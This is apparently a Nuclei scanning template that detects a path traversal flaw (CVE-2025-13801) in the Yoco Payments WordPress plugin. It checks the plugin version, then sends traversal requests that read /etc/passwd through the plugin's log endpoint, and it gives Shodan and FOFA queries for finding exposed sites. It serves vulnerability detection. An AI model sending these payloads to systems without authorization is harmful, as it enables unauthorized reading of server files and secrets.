Yoco Payments <= 3.8.8 - Path Traversal

id: CVE-2025-13801

info:
  name: Yoco Payments <= 3.8.8 - Path Traversal
  author: 0x_Akoko
  severity: high
  description: |
   Yoco Payments WordPress plugin <= 3.8.8 contains a path traversal caused by improper validation of the file parameter, letting unauthenticated attackers read arbitrary files on the server.
  impact: |
   Unauthenticated attackers can read sensitive files on the server, potentially exposing confidential information.
  remediation: |
   Update to the latest version beyond 3.8.8.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="yoco-payment-gateway"
    shodan-query: http.html:"yoco-payment-gateway"
  tags: wordpress,wp-plugin,yoco,lfi,path-traversal,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/yoco-payment-gateway/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "=== Yoco Payments ===", "Stable tag:")
          - compare_versions(plugin_version, '<= 3.8.8')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - '(?m)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-json/yoco/logs?file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /?rest_route=/yoco/logs&file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - regex('root:[x*]?:0:0:', body)
        condition: and
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